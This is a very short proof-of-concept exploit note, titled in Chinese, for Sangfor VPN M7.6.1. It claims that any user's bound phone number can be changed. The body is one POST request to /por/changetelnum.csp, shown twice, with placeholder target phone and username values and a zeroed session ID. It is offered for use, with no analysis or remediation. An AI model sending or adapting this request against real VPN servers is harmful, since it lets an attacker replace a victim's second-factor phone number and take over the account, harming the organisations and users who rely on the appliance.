深信服VPN M7.6.1 任意修改綁定手機
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POC
https://127.0.0.1/por/changetelnum.csp?apiversion=1 POST： newtel=TARGET_PHONE&sessReq=clusterd&username=TARGET_USERNAME&grpid=0&sessid=0&ip=127.0.0.1
https://127.0.0.1/por/changetelnum.csp?apiversion=1 POST： newtel=TARGET_PHONE&sessReq=clusterd&username=TARGET_USERNAME&grpid=0&sessid=0&ip=127.0.0.1